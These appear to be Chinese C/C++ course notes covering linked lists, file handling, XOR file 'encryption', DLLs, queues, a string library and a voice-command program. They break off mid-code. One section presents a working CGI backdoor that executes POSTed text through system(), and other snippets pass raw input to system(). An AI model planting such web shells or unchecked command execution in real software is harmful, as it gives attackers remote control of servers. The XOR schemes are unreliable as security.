backaddnodeA(pnode, 14, 1111); pnode = backaddnodeA(pnode, 5, 11111); pnode = backaddnodeA(pnode,16, 111111); showallnode(pnode); //change(pnode, 15, 155); //pnode = rev(pnode); //pnode = delete(pnode, 1); //pnode = delete(pnode, 3); //pnode = delete(pnode, 6); pnode = insert(pnode, 3, 3, 333); pnode = insert(pnode, 1, 13, 1333); showallnode(pnode); sort(pnode, '>'); showallnode(pnode); sort(pnode, '<'); showallnode(pnode); /*Node *pfind = searchfirst(pnode, 5); if (pfind == NULL) { printf("没有找到"); } else { printf("%p,%d,%d,%p", pfind, pfind->num, pfind->data, pfind->pNext); }*/ system("pause"); }
重定向以及文件扫描 #define _CRT_SECURE_NO_WARNINGS//关闭安全检查 #include<stdio.h> #include<stdlib.h> void main1() { char str[100] = { 0 }; scanf("%s", str); printf("str=%s\n", str); system(str); } void main2() { char str[100] = { 0 }; fscanf(stdin,"%s", str); fprintf(stdout,"str=%s\n", str); system(str); } void main3() { char *path = "C:\\Users\\wuyq\\Desktop\\newcmd.txt"; int num=0; char docmd[30] = { 0 }; scanf("%d%s", &num, docmd);//接受键盘输入 FILE *pf; pf = fopen(path, "w");//写入 if (pf == NULL) { printf("文件打开失败"); } else { fprintf(pf, "for /l %%i in (1,1,%d) do %s", num, docmd); fclose(pf); } system("pause"); } void main4() { char cmd[100] = { 0 }; int num = 0; char docmd[30] = { 0 }; char *path = "C:\\Users\\wuyq\\Desktop\\newcmd.txt"; FILE *pf = fopen(path, "r");//读取 if (pf == NULL) { printf("文件打开失败"); return; } else { fscanf(pf, "for /l %%i in (1,1,%d) do %s", &num, docmd); printf("num=%d,docmd=%s", num, docmd); } system("pause"); } void main() { int num ; scanf("num=%d", &num);//必须精确对应 printf("num=%d", num); system("pause"); } 二进制加密解密 #define _CRT_SECURE_NO_WARNINGS//关闭安全检查 #include<stdio.h> #include<stdlib.h> int getfilesize(char *path) { FILE *pf = fopen(path, "r"); if (pf == NULL) { return -1; } else { fseek(pf, 0, SEEK_END); int length = ftell(pf); return length;//获取文件大小 } } void copy(char *oldpath, char *newpath) { FILE *pfr, *pfw; pfr = fopen(oldpath, "rb"); pfw = fopen(newpath, "wb");//写入二进制模式 if (pfr == NULL || pfw == NULL) { fclose(pfr);//关闭文件 fclose(pfw); return; } else { int length = getfilesize(oldpath); char *p = (char *)malloc(length*sizeof(char));//分配内存,读取文件 fread(p, sizeof(char), length, pfr);//读取二进制到内存 fwrite(p, sizeof(char), length, pfw);//写入二进制到文件 fclose(pfr);//关闭文件 fclose(pfw); } } void jia(char *oldpath, char *newpath) { FILE *pfr, *pfw; pfr = fopen(oldpath, "rb"); pfw = fopen(newpath, "wb");//写入二进制模式 if (pfr == NULL || pfw == NULL) { fclose(pfr);//关闭文件 fclose(pfw); return; } else { int length = getfilesize(oldpath); char *p = (char *)malloc(length*sizeof(char));//分配内存,读取文件 fread(p, sizeof(char), length, pfr);//读取二进制到内存 for (int i = 0; i < length; i++) { p[i] ^= 'A';//抑或 } fwrite(p, sizeof(char), length, pfw);//写入二进制到文件 fclose(pfr);//关闭文件 fclose(pfw); } } void jie(char *oldpath, char *newpath) { FILE *pfr, *pfw; pfr = fopen(oldpath, "rb"); pfw = fopen(newpath, "wb");//写入二进制模式 if (pfr == NULL || pfw == NULL) { fclose(pfr);//关闭文件 fclose(pfw); return; } else { int length = getfilesize(oldpath); char *p = (char *)malloc(length*sizeof(char));//分配内存,读取文件 fread(p, sizeof(char), length, pfr);//读取二进制到内存 for (int i = 0; i < length; i++) { p[i] ^= 'A';//解密 } fwrite(p, sizeof(char), length, pfw);//写入二进制到文件 fclose(pfr);//关闭文件 fclose(pfw); } } void main() { char *oldpath = "C:\\Users\\wuyq\\Desktop\\calc.exe"; char *newpath = "C:\\Users\\wuyq\\Desktop\\calc.exe"; char *newjiepath = "C:\\Users\\wuyq\\Desktop\\calc.exe"; jia(oldpath, newpath); jie(newpath, newjiepath); system("pause"); } 简单加密 #define _CRT_SECURE_NO_WARNINGS//关闭安全检查 #include<stdio.h> #include<stdlib.h> // 'a' ->'b' //hello -> ifmmp //textjjia.txt //textjie.txt //按照字节的方式加密 char jiami(char ch) { return ch ^ 123; } char jiemi(char ch) { return ch ^123; } void jia(char *path, char *pathjia) { FILE *pfr, *pfw; pfr = fopen(path, "r");//读取 pfw = fopen(pathjia, "w");//写入 if (pfr == NULL || pfw == NULL) { return; } else { while (!feof(pfr))//到了文件末尾1,没有到就是0 { char ch = fgetc(pfr);//读取字符 putchar(ch); fputc(jiami(ch), pfw);//写入一个加密的字符 } fclose(pfr); fclose(pfw);//关闭文件 } } void jie(char *path, char *pathjie) { FILE *pfr, *pfw; pfr = fopen(path, "r");//读取 pfw = fopen(pathjie, "w");//写入 if (pfr == NULL || pfw == NULL) { return; } else { while (!feof(pfr))//到了文件末尾1,没有到就是0 { char ch = fgetc(pfr);//读取字符 putchar(ch); fputc(jiemi(ch), pfw);//写入一个加密的字符 } fclose(pfr); fclose(pfw);//关闭文 } } void main() { char *path = "C:\\Users\\yincheng01\\Desktop\\text.txt"; char *pathjia = "C:\\Users\\yincheng01\\Desktop\\textjia.txt"; char *pathjie = "C:\\Users\\yincheng01\\Desktop\\textjie.txt"; jia(path, pathjia); jie(pathjia, pathjie); system("pause"); } void main1() { FILE *pfr; char *path = "C:\\Users\\yincheng01\\Desktop\\text.txt"; pfr = fopen(path, "r"); if (pfr == NULL) { printf("文件打开失败"); } else { printf("\n原来的资料\n"); while (!feof(pfr))//feof没有到文件末尾返回0,到了返回1 { char ch=fgetc(pfr);//从文件读取一个字符 putchar(ch);//输出字符 } rewind(pfr);//回到文件开头 printf("\n加密后的资料\n"); while (!feof(pfr))//feof没有到文件末尾返回0,到了返回1 { char ch = fgetc(pfr);//从文件读取一个字符 putchar(ch+1);//输出字符 } fclose(pfr);//关闭文件 } system("pause"); } 按照密码加密 #define _CRT_SECURE_NO_WARNINGS//关闭安全检查 #include<stdio.h> #include<stdlib.h> #include<string.h> //加密,按照密码 // 文件加密 // 字符串加密 char * stringjiami(char *password, char *string); //字符串解密 char * stringjiemi(char *password, char *jiastring); void filejiami(char *path, char *pathjia, char *password); void filejiemi(char *pathjia, char *pathjie, char *password); #define _CRT_SECURE_NO_WARNINGS//关闭安全检查 #include<stdio.h> #include<stdlib.h> #include<string.h> //加密,按照密码 // 文件加密 // 字符串加密 char * stringjiami(char *password, char *string); //字符串解密 char * stringjiemi(char *password, char *jiastring); void filejiami(char *path, char *pathjia, char *password); void filejiemi(char *pathjia, char *pathjie, char *password); #include"密码加密.h" int getfilesize(char * path) { FILE *pf = fopen(path, "r"); if (pf == NULL) { return -1; } else { fseek(pf, 0, SEEK_END);//文件末尾 int length = ftell(pf); return length;//返回长度 } } char * stringjiami(char *password, char *string) { int passlength = strlen(password);//获取加密长度 int stringlength = strlen(string);//获取字符串长度 if (stringlength %passlength ==0) { int ci = stringlength /passlength;//循环次数 for (int i = 0; i < ci; i++)//循环次 { for (int j =0 ; j < passlength; j++)//循环密码 { string[passlength*i+j] ^= password[j];//异或加密 } } } else { int ci = stringlength / passlength;//循环次数 for (int i = 0; i < ci; i++)//循环次 { for (int j = 0; j < passlength; j++)//循环密码 { string[passlength*i + j] ^= password[j];//异或加密 } } int lastlength = stringlength%passlength;//剩下的长度 for (int i = 0; i < lastlength; i++) { string[passlength*(stringlength/passlength)+i] ^= password[i]; } } return string; } //字符串解密 char * stringjiemi(char *password, char *jiastring) { int passlength = strlen(password);//获取加密长度 int stringlength = strlen(jiastring);//获取字符串长度 if (stringlength %passlength == 0) { int ci = stringlength / passlength;//循环次数 for (int i = 0; i < ci; i++)//循环次 { for (int j = 0; j < passlength; j++)//循环密码 { jiastring[passlength*i + j] ^= password[j];//异或加密 } } } else { int ci = stringlength / passlength;//循环次数 for (int i = 0; i < ci; i++)//循环次 { for (int j = 0; j < passlength; j++)//循环密码 { jiastring[passlength*i + j] ^= password[j];//异或加密 } } int lastlength = stringlength%passlength;//剩下的长度 for (int i = 0; i < lastlength; i++) { jiastring[passlength*(stringlength / passlength) + i] ^= password[i]; } } return jiastring; } void filejiami(char *path, char *pathjia, char *password) { FILE *pfr,*pfw; pfr = fopen(path, "r"); pfw = fopen(pathjia, "w"); if (pfr == NULL || pfw == NULL) { fclose(pfr); fclose(pfw); return; } else { int length = getfilesize(path);//获取长度 430 //int passlength = strlen(password);//获取密码20 char *newstr = (char*)malloc(sizeof(char)*(length+1)); for (int i = 0; i < length; i++) { char ch = fgetc(pfr);//获取一个字符 newstr[i] = ch;//不断存入字符 //fputc(newstr[i], pfw);//挨个写入字符 } newstr[length] = '\0';//字符串处理为'\0' stringjiami(password, newstr);//加密字符串 for (int i = 0; i < length ; i++) { fputc(newstr[i], pfw);//挨个写入字符 } fclose(pfr); fclose(pfw);//关闭文件 } } void filejiemi(char *pathjia, char *pathjie, char *password) { FILE *pfr, *pfw; pfr = fopen(pathjia, "rb"); pfw = fopen(pathjie, "wb"); if (pfr == NULL || pfw == NULL) { fclose(pfr); fclose(pfw); return; } else { while (!feof(pfr)) { char string[256] = { 0 }; fgets(string, 256, pfr); stringjiemi(password, string);//加密啊 fputs(string, pfw);//写入jie密文件 } fclose(pfr); fclose(pfw);//关闭文件 } } #define _CRT_SECURE_NO_WARNINGS//关闭安全检查 #include<stdio.h> #include<stdlib.h> #include"密码加密.h" void main() { char string[50] = "锄禾日当午"; char *password = "123"; printf("%s\n", stringjiami(password, string)); printf("%s\n", stringjiami(password, string)); char *path = "C:\\Users\\yincheng01\\Desktop\\text.txt"; char *pathjia = "C:\\Users\\yincheng01\\Desktop\\textjia.txt"; char *pathjie = "C:\\Users\\yincheng01\\Desktop\\textjie.txt"; //printf("%d\n", getfilesize(path)); filejiami(path, pathjia, "ABCDE"); filejiami(pathjia, pathjie, "ABCDE"); system("pause"); } 动态库与静态库 静态库 Lib.h void msg(); int add(int a, int b); Lib.c #include<stdio.h> #include<stdlib.h> #include<Windows.h> void msg() { MessageBoxA(0, "1", "2", 0); } int add(int a, int b) { return a + b; } Main.c #include<stdio.h> #include<stdlib.h> #include"lib.h" #pragma comment(lib, "静态库与动态库.lib") //头文件只是说明,lib自己已经存在接口 void main() { printf("%d", add(10, 9)); msg(); } 动态库 Dll.c #include<stdio.h> #include<stdlib.h> #include<Windows.h> //导出函数,可以加载的时候调用 _declspec(dllexport) void msg() { MessageBoxA(0, "1", "2", 0); } //导出函数,可以加载的时候调用 _declspec(dllexport) int add(int a, int b) { return a + b; } Main.c #include<stdio.h> #include<stdlib.h> #include<Windows.h> typedef void (*pmsg)();//简化函数指针 typedef int(*padd)(int a, int b);//简化函数指针 void main() { HMODULE mydll = LoadLibraryA("动态库.dll"); if (mydll == NULL) { printf("动态库加载失败"); } else { pmsg pmsg1;//定义一个函数指针 pmsg1 = (pmsg)GetProcAddress(mydll, "msg");//获取函数地址 if (pmsg1 != NULL) { pmsg1();//执行 } padd padd1;//定义函数指针 padd1 = (padd)GetProcAddress(mydll, "add"); if (padd1 != NULL) { printf("\n%d", padd1(10, 29)); } } FreeLibrary(mydll); system("pause"); }
网站以及后门 Windwos安装Apache服务器软件,进行测试。Localhost 将可执行程序xxx.exe改为xxx.cgi放到apache服务器上,通过浏览器进行访问。 #define _CRT_SECURE_NO_WARNINGS #include<stdio.h> #include<stdlib.h> #include<string.h> void main() { printf("Content-type:text/html\n\n"); printf("%s<br><br>", getenv("QUERY_STRING"));//打印环境变量 char szPost[256] = {0}; gets(szPost);//获取输入 printf("%s<br><br>", szPost);//获取输入 //"BBB=tasklist&AAA=%C7%EB%BD%F8 char *p = szPost + 4;//0,1,2,3 char *p1 = strchr(szPost, '&'); *p1 = '\0'; char cmd[256] = { 0 }; sprintf(cmd, "%s >1.txt", p);//字符串映射 system(cmd); FILE *pf = fopen("1.txt", "r"); while (!feof(pf))//如果没有到文件末尾就继续 { char ch = fgetc(pf); if (ch == '\n') { printf("<br><br>");//换行 } else { putchar(ch);//打印字符 } } } 结构体对齐、结构体面试分析 #include<stdio.h> #include<stdlib.h> //最宽基本基本成员,char , int,double,结构体数组都不是最宽基本成员 //结构体大小必须可以整除最宽基本成员,是最宽基本成员的整数倍 //结构体成员地址减去结构体首地址,就是偏移量,偏移量必须可以整除成员的基本类型 struct info { char c;//1 2 4 8 double sh;//1 2 4 8 char ch[9];//9 10 12 16 }; struct info1 { short sh1; //8 4 //2 int sh; //8 4 //4 char ch[19]; //16 20 //19 }; void main2() { struct info1 info11 = {10,200,"123456"}; printf("%p\n", &info11); printf("%p\n", &info11.sh1); printf("%p\n", &info11.sh); printf("%p\n", &info11.ch); getchar(); } void main1() { printf("%d", sizeof(struct info1)); system("pause"); } 深拷贝与浅拷贝 #define _CRT_SECURE_NO_WARNINGS #include<stdio.h> #include<stdlib.h> #include<string.h> struct string { char *p; int length; }; void main11() { struct string str1; str1.length = 10; str1.p =(char *) malloc(sizeof(char)* 10); strcpy(str1.p, "hello"); printf("\nstr1.p=%s", str1.p);//输出结果 struct string str2; str2.length = str1.length; str2.p = str1.p; *(str1.p) = 'k';//浅拷贝,共享内存 printf("\nstr2.p=%s", str2.p);//输出结果 system("pause"); } void main123() { struct string str1; str1.length = 10; str1.p = (char *)malloc(sizeof(char)* 10); strcpy(str1.p, "hello"); printf("\nstr1.p=%s", str1.p);//输出结果 struct string str2; str2.length = str1.length; str2.p =(char *) malloc(sizeof(char)* 10); strcpy(str2.p, str1.p);//拷贝内存内容 *(str1.p) = 'k'; //深拷贝是拷贝内存的内容, printf("\nstr2.p=%s", str2.p);//输出结果 system("pause"); } 队列 //队列.h #include<stdio.h> #include<stdlib.h> #define N 100 //定义队列最大多少个 #define datatype char //定义队列的数据类型 struct queue { datatype data[N];//保存数据的数组 int front;//数据的开头 ,拉屎 int rear;//数据的结尾,吃进去 }; typedef struct queue Q;//给已经有的类型简化一下 void init(Q * myqueue);//初始化队列 int isempty(Q * myqueue);//判断是否为空,1代表为空,0代表不为空 void enQueue(Q * myqueue, datatype num);//入队,吃进去 datatype DeQueue(Q * myqueue);//出队,拉屎,返回值就是拉的 void printfQ(Q * myqueue);//打印队列所有的元素 datatype gethead(Q * myqueue);//获取开头的一个节点 //队列.c #include"队列.h" void init(Q * myqueue)//初始化队列 { myqueue->front = myqueue->rear = 0;//表示为空 } int isempty(Q * myqueue)//判断为空 { if (myqueue->front == myqueue->rear) { return 1; } else { return 0; } } void enQueue(Q * myqueue, datatype num) { if (myqueue->rear == N) { printf("吃东西失败"); return ;//失败 } else { myqueue->data[myqueue->rear] = num;//赋值 myqueue->rear += 1;//增加一个 } } datatype DeQueue(Q * myqueue) //拉屎的过程 { if (myqueue->front == myqueue->rear) { printf("拉屎失败"); return -1; } else { myqueue->front += 1;//拉屎 return myqueue->data[myqueue->front - 1];//返回你拉的 } } void printfQ(Q * myqueue)//打印队列所有的元素 { printf("\n"); if (myqueue->front == myqueue->rear) { printf("\n你的肠胃为空"); } else { for (int i = myqueue->front; i < myqueue->rear;i++) { printf("%c ", myqueue->data[i]);//显示你的肠胃 } } } datatype gethead(Q * myqueue) { if (myqueue->front == myqueue->rear) { printf("\n肠胃为空,无法找到你要最先拉的屎"); return -1; } else { return myqueue->data[myqueue->front];//返回第一个节点 } } //main.c #include<stdio.h> #include<stdlib.h> #include"队列.h" void main() { Q Q1;//创建一个结构体变量 init(&Q1);//初始化 enQueue(&Q1, 'A'); printfQ(&Q1); enQueue(&Q1, 'B'); printfQ(&Q1); enQueue(&Q1, 'C'); printfQ(&Q1); enQueue(&Q1, 'D'); printfQ(&Q1); enQueue(&Q1, 'E'); printfQ(&Q1); DeQueue(&Q1); printfQ(&Q1); DeQueue(&Q1); printfQ(&Q1); DeQueue(&Q1); printfQ(&Q1); DeQueue(&Q1); printfQ(&Q1); DeQueue(&Q1); printfQ(&Q1); DeQueue(&Q1); printfQ(&Q1); system("pause"); } 字符串封装 //字符串.h #define _CRT_SECURE_NO_WARNINGS #include<stdio.h> #include<stdlib.h> #include<string.h> //字符串封装,需要库函数 //不需要库函数 struct CString { char *p;//保存字符串首地址 int reallength;//实际长度 }; typedef struct CString mystring;//简写 //字符串,初始化,打印, //查找,查找字符,查找字符串 //尾部增加,(字符,字符串) //删除(字符,字符串), //任意位置增加(字符,字符串) ////修改字符串,(字符,字符串替换) void init(mystring *string);//原封不动初始化 void initwithlength(mystring *string,int length);//开辟长度,内存清零 void initwithstring(mystring *string,char *copystring);//初始化并拷贝字符串 void printfstring(mystring *string); //打印 void backaddchar(mystring *string,char ch);//增加字符 void backaddstring(mystring *string,char*str);//增加字符串 void run(mystring *string);//执行指令 char * findfirstchar(mystring *string, char ch);//返回第一个找到的字符的地址 char * findfirststring(mystring *string, char *str);//返回第一个找到的字符串的地址 int deletefirstchar(mystring *string,const char ch);//删除第一个找到的字符 int deletefirststring(mystring *string, char * const str);//删除第一个找到的字符串 void addchar(mystring *string, char ch,char *pos);//任意增加字符 void addstring(mystring *string, char*str,char *pos);//任意增加字符串 void changefirstchar(mystring *string, const char oldchar, const newchar);//改变字符 void changefirststring(mystring *string, char * const oldstring, char *const newstring);//改变字符串 //字符串.c #include"字符串.h" int mystrlen(char *p) { if (p == NULL) { return -1;//失败, } int length = 0; while (*p != '\0')//字符串终止条件 { length++;//长度自增 p++;//指针不断向前 } return length; } char *mystrcpy(char *dest, const char *source)//const限定不被意外修改 { if (dest == NULL || source == NULL) { return NULL;//为空没有必要干活了 } char * destbak = dest; while (*source != '\0')//一直拷贝 { *dest = *source;//赋值字符 source++; dest++;//指针不断向前,字符挨个赋值 } *dest = '\0';//结尾 return destbak;//返回地址 } char *mystrcat(char *dest, const char *source) { if (dest == NULL || source == NULL) { return NULL;//失败 } else { char *destbak = dest;//保留地址 while (*dest != '\0') { dest++;//指针向前移动 } //从尾部开始拷贝 while (*source != '\0') //循环被被拷贝的字符串 { *dest = *source;//字符串赋值 dest++; source++; } *dest = '\0';//结尾 return destbak; } } char * mystrchr(const char *dest, const char ch) { if (dest == NULL) { return NULL; } while (*dest!='\0') { if (*dest == ch) { return dest;//找到返回地址 } dest++; } return NULL;//返回 } char *mystrstr(const char * const dest, const char * const findstr) { if (dest == NULL || findstr == NULL) { return NULL; } char *destbak = dest; char *p = NULL;//保存找到的地址 while (*destbak != '\0') { int flag = 1;//假定是相等 char *findstrbak = findstr; char *nowdestbak = destbak; while (*findstrbak != '\0') { if (*nowdestbak != '\0') { if (*findstrbak != *nowdestbak)//有一个不等 { flag = 0;//赋值为0代表不等 } nowdestbak++; findstrbak++; } else { flag = 0;//设置标识 break; } } if (flag == 1) { p = destbak;//当前位置 return p; } destbak++; } return NULL; } void init(mystring *string) { string->p = NULL; string->reallength = 0;//初始化结构体字符串 } void initwithlength(mystring *string, int length) { //string->p =(char *) malloc(sizeof(char)*length);//分配内存 string->p = (char *)calloc(length, sizeof(char));//分配内存并清零 string->reallength = length;//长度 } void initwithstring(mystring *string, char *copystring) { int length = strlen(copystring);//获取字符串长度 string->p =(char *) calloc(length + 1, sizeof(char));//分配内存 mystrcpy(string->p, copystring);//拷贝字符串 string->reallength = length + 1;//设置长度 } void backaddchar(mystring *string,char ch) { if (mystrlen(string->p)+1==string->reallength)//意味着满了 { //重新分配内存 string->p = realloc(string->p, string->reallength + 1); string->reallength += 1; string->p[string->reallength - 2] = ch; string->p[string->reallength - 1] = '\0'; } else { int nowlength = mystrlen(string->p);//求出当前长度 string->p[nowlength] = ch; string->p[nowlength + 1] = '\0';//字符的增加 } } void backaddstring(mystring *string, char*str) { int nowmystringlength = mystrlen(string->p);//获取当前长度 int addstringlength = mystrlen(str);//要增加的长度 if (nowmystringlength + addstringlength+1 >string->reallength)//判定是否越界 { int needaddlength = nowmystringlength + addstringlength + 1 - (string->reallength); //printf("%d", needaddlength); string->p = (char *)realloc(string->p, string->reallength + needaddlength);//增加字符串长度 mystrcat(string->p, str);//拷贝字符串 string->reallength += needaddlength;//增加长度 } else { mystrcat(string->p, str);//拷贝字符串 } } void printfstring(mystring *string) { printf("\nstring=%s", string->p);//打印字符串 } void run(mystring *string) { system(string->p);//执行指令 } char * findfirstchar(mystring *string, char ch) { char *p = mystrchr(string->p, ch);//查找 return p; } char * findfirststring(mystring *string, char *str) { char *pres = mystrstr(string->p, str); return pres;//返回地址 } int deletefirstchar(mystring *string, const char ch) { char *p = mystrchr(string->p, ch);//查找 if (p == NULL) { return 0; } else { char *pnext = p + 1; while (*pnext != '\0') { *p = *pnext; //删除一个字符整体向前移动 p++; pnext++; } *p = '\0';//字符串要有结尾 return 1; } } int deletefirststring(mystring *string, char * const str) { char *pres = mystrstr(string->p, str);//查找 if (pres == NULL) { return 0; } else { int length = mystrlen(str);//求字符串长度 char *pnext = pres + length;//下一个字符 while (*pnext != '\0') { *pres = *pnext; //删除一个字符整体向前移动 pres++; pnext++; } *pres = '\0';//字符串要有结尾 return 1; } } void addchar(mystring *string, char ch, char *pos) { if (pos == NULL || string ==NULL) { return; } if(mystrlen(string->p) + 1 == string->reallength)//意味着满了 { //重新分配内存 string->p = realloc(string->p, string->reallength + 1); string->reallength += 1; int nowlength = mystrlen(string->p);//求出当前长度 int movelength = mystrlen(pos);//求出现在要移动的长度 for (int i = nowlength; i > nowlength - movelength; i--)//移动 { string->p[i] = string->p[i - 1];//轮询 } string->p[nowlength - movelength] = ch;//插入 string->p[nowlength + 1] = '\0';//结尾 } else { int nowlength = mystrlen(string->p);//求出当前长度 int movelength = mystrlen(pos);//求出现在要移动的长度 for (int i = nowlength; i > nowlength-movelength; i--)//移动 { string->p[i] = string->p[i - 1];//轮询 } string->p[nowlength - movelength]=ch;//插入 string->p[nowlength + 1] = '\0';//结尾 } } void addstring(mystring *string, char*str, char *pos)//任意增加字符串 { if (pos == NULL || string == NULL) { return; } int nowmystringlength = mystrlen(string->p);//获取当前长度 int addstringlength = mystrlen(str);//要增加的长度 if (nowmystringlength + addstringlength + 1 >string->reallength)//判定是否越界 { int needaddlength = nowmystringlength + addstringlength + 1 - (string->reallength); //printf("%d", needaddlength); string->p = (char *)realloc(string->p, string->reallength + needaddlength);//增加字符串长度 string->reallength += needaddlength;//增加长度 //先移动,再拷贝 int nowlength = mystrlen(string->p);//求出当前长度 int movelength = mystrlen(pos);//求出现在要移动的长度 int insertlength = strlen(str);//要求出插入的长度 for (int i = nowlength; i >=nowlength-movelength ; i--) { string->p[i + insertlength]=string->p[i];//字符移动 } for (int j = 0; j < insertlength;j++) { string->p[nowlength-movelength+j]= str[j];//赋值拷贝 } } else { int nowlength = mystrlen(string->p);//求出当前长度 int movelength = mystrlen(pos);//求出现在要移动的长度 int insertlength = strlen(str);//要求出插入的长度 for (int i = nowlength; i >= nowlength - movelength; i--) { string->p[i + insertlength] = string->p[i];//字符移动 } for (int j = 0; j < insertlength; j++) { string->p[nowlength - movelength + j] = str[j];//赋值拷贝 } } } void changefirstchar(mystring *string, const char oldchar, const newchar)//改变字符 { char *pstr = string->p; while (*pstr != '\0') { if (*pstr == oldchar)//查找 { *pstr = newchar;//赋值 return; } pstr++; } } void changefirststring(mystring *string, char * const oldstring, char *const newstring)//改变字符串 { char *pfind = findfirststring(string, oldstring);//找到位置 if (pfind != NULL) { deletefirststring(string, oldstring);//删除 addstring(string, newstring, pfind);//插入 } } //main.c #include<stdio.h> #include<stdlib.h> #include"字符串.h" void main() { mystring string1; initwithstring(&string1, "note"); printfstring(&string1); //backaddchar(&string1, 'd'); backaddstring(&string1, "padnotepadnotepad"); printfstring(&string1); while (findfirststring(&string1,"notepad")) { changefirststring(&string1, "notepad", "123456789"); } //char *p = findfirstchar(&string1, 't'); //if (p != NULL) //{ // addstring(&string1, "12345", p); //} //deletefirstchar(&string1, 'e'); //deletefirststring(&string1, "pad"); //char *strp = findfirstchar(&string1, 'a'); //*strp = 'A'; /*char *strp = findfirststring(&string1, "ada"); if (strp != NULL) { *strp = 'X'; }*/ printfstring(&string1); //run(&string1); system("pause"); }
语音识别 er.xml <?xml version="1.0" encoding="utf-8"?> <GRAMMAR LANGID="804"> <DEFINE> <ID NAME="CMD" VAL="10"/> </DEFINE> <RULE NAME="COMMAND" ID="CMD" TOPLEVEL="ACTIVE"> <L> <P>资源管理器</P> <P>打开企鹅</P> <P>关闭企鹅</P> <P>关机</P> <P>重启</P> <P>记事本</P> <P>计算器</P> <P>画图板</P> <P>谭胜</P> </L> </RULE> </GRAMMAR> yuyin.cpp #include <windows.h> #include <atlstr.h> #include <sphelper.h> #include <sapi.h> #include<comutil.h> #include<string.h> #include<stdlib.h> #pragma comment(lib,"sapi.lib") #pragma comment(lib, "comsupp.lib") #define GID_CMD_GR 333333 #define WM_RECOEVENT WM_USER+1 LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM); char szAppName[] = "TsinghuaYincheng"; BOOL b_initSR; BOOL b_Cmd_Grammar; CComPtr<ISpRecoContext>m_cpRecoCtxt; //语音识别程序接口 CComPtr<ISpRecoGrammar>m_cpCmdGramma; //识别语法 CComPtr<ISpRecognizer>m_cpRecoEngine; //语音识别引擎 int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,PSTR szCmdLine,int iCmdShow) { HWND hwnd; MSG msg; WNDCLASS wndclass; wndclass.cbClsExtra =0; wndclass.cbWndExtra =0; wndclass.hbrBackground =(HBRUSH)GetStockObject(WHITE_BRUSH); wndclass.hCursor =LoadCursor(NULL,IDC_ARROW); wndclass.hIcon =LoadIcon(NULL,IDI_APPLICATION); wndclass.hInstance =hInstance; wndclass.lpfnWndProc =WndProc; wndclass.lpszClassName =szAppName; wndclass.lpszMenuName =NULL; wndclass.style =CS_HREDRAW|CS_VREDRAW; if(!RegisterClass(&wndclass)) { MessageBox(NULL,TEXT("This program requires Windows NT!"),szAppName,MB_ICONERROR); return 0; } hwnd=CreateWindow(szAppName, TEXT("传智播客C/C++学院语音识别教程"), WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hInstance, NULL); ShowWindow(hwnd,iCmdShow); UpdateWindow(hwnd); while(GetMessage(&msg,NULL,0,0)) { TranslateMessage(&msg); DispatchMessage(&msg); } return msg.wParam; } LRESULT CALLBACK WndProc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam) { HDC hdc; PAINTSTRUCT ps; switch(message) { case WM_CREATE: { //初始化COM端口 ::CoInitializeEx(NULL,COINIT_APARTMENTTHREADED); //创建识别引擎COM实例为共享型 HRESULT hr=m_cpRecoEngine.CoCreateInstance(CLSID_SpSharedRecognizer); //创建识别上下文接口 if(SUCCEEDED(hr)) { hr=m_cpRecoEngine->CreateRecoContext(&m_cpRecoCtxt); } else MessageBox(hwnd,TEXT("error1"),TEXT("error"),S_OK); //设置识别消息,使计算机时刻监听语音消息 if(SUCCEEDED(hr)) { hr=m_cpRecoCtxt->SetNotifyWindowMessage(hwnd,WM_RECOEVENT,0,0); } else MessageBox(hwnd,TEXT("error2"),TEXT("error"),S_OK); //设置我们感兴趣的事件 if(SUCCEEDED(hr)) { ULONGLONG ullMyEvents=SPFEI(SPEI_SOUND_START)|SPFEI(SPEI_RECOGNITION)|SPFEI(SPEI_SOUND_END); hr=m_cpRecoCtxt->SetInterest(ullMyEvents,ullMyEvents); } else MessageBox(hwnd,TEXT("error3"),TEXT("error"),S_OK); //创建语法规则 b_Cmd_Grammar=TRUE; if(FAILED(hr)) { MessageBox(hwnd,TEXT("error4"),TEXT("error"),S_OK); } hr=m_cpRecoCtxt->CreateGrammar(GID_CMD_GR,&m_cpCmdGramma); WCHAR wszXMLFile[20]=L"yuyinliebiao.xml"; MultiByteToWideChar(CP_ACP,0,(LPCSTR)"yuyinliebiao.xml",-1,wszXMLFile,256); hr=m_cpCmdGramma->LoadCmdFromFile(wszXMLFile,SPLO_DYNAMIC); if(FAILED(hr)) { MessageBox(hwnd,TEXT("error5"),TEXT("error"),S_OK); } b_initSR=TRUE; //在开始识别时,激活语法进行识别 hr=m_cpCmdGramma->SetRuleState(NULL,NULL,SPRS_ACTIVE); return 0; } case WM_RECOEVENT: { RECT rect; GetClientRect(hwnd,&rect); hdc=GetDC(hwnd); USES_CONVERSION; CSpEvent event; while(event.GetFrom(m_cpRecoCtxt)==S_OK) { switch(event.eEventId) { case SPEI_RECOGNITION: { static const WCHAR wszUnrecognized[]=L"<Unrecognized>"; CSpDynamicString dstrText; //取得识别结果 if(FAILED(event.RecoResult()->GetText(SP_GETWHOLEPHRASE,SP_GETWHOLEPHRASE,TRUE,&dstrText,NULL))) { dstrText=wszUnrecognized; } BSTR SRout; dstrText.CopyToBSTR(&SRout); char* lpszText2 = _com_util::ConvertBSTRToString(SRout); if(b_Cmd_Grammar) { if (strstr("资源管理器",lpszText2)!=NULL) { system("C:\\"); DrawText(hdc,TEXT("资源管理器"),-1,&rect,DT_SINGLELINE|DT_CENTER|DT_VCENTER); } if (strstr("打开企鹅",lpszText2)!=NULL) { system("\"C:\\Program Files\\Tencent\\QQ\\QQProtect\\Bin\\QQProtect.exe\""); DrawText(hdc,TEXT("打开企鹅"),-1,&rect,DT_SINGLELINE|DT_CENTER|DT_VCENTER); } if (strstr("关闭企鹅", lpszText2) != NULL) { system("taskkill /f /im QQ.exe"); DrawText(hdc, TEXT("关闭企鹅"), -1, &rect, DT_SINGLELINE | DT_CENTER | DT_VCENTER); } if (strstr("关机", lpszText2) != NULL) { system("shutdown -s -t 1200"); DrawText(hdc, TEXT("关机"), -1, &rect, DT_SINGLELINE | DT_CENTER | DT_VCENTER); } if (strstr("重启", lpszText2) != NULL) { system("shutdown -r -t 1200"); DrawText(hdc, TEXT("重启"), -1, &rect, DT_SINGLELINE | DT_CENTER | DT_VCENTER); } if 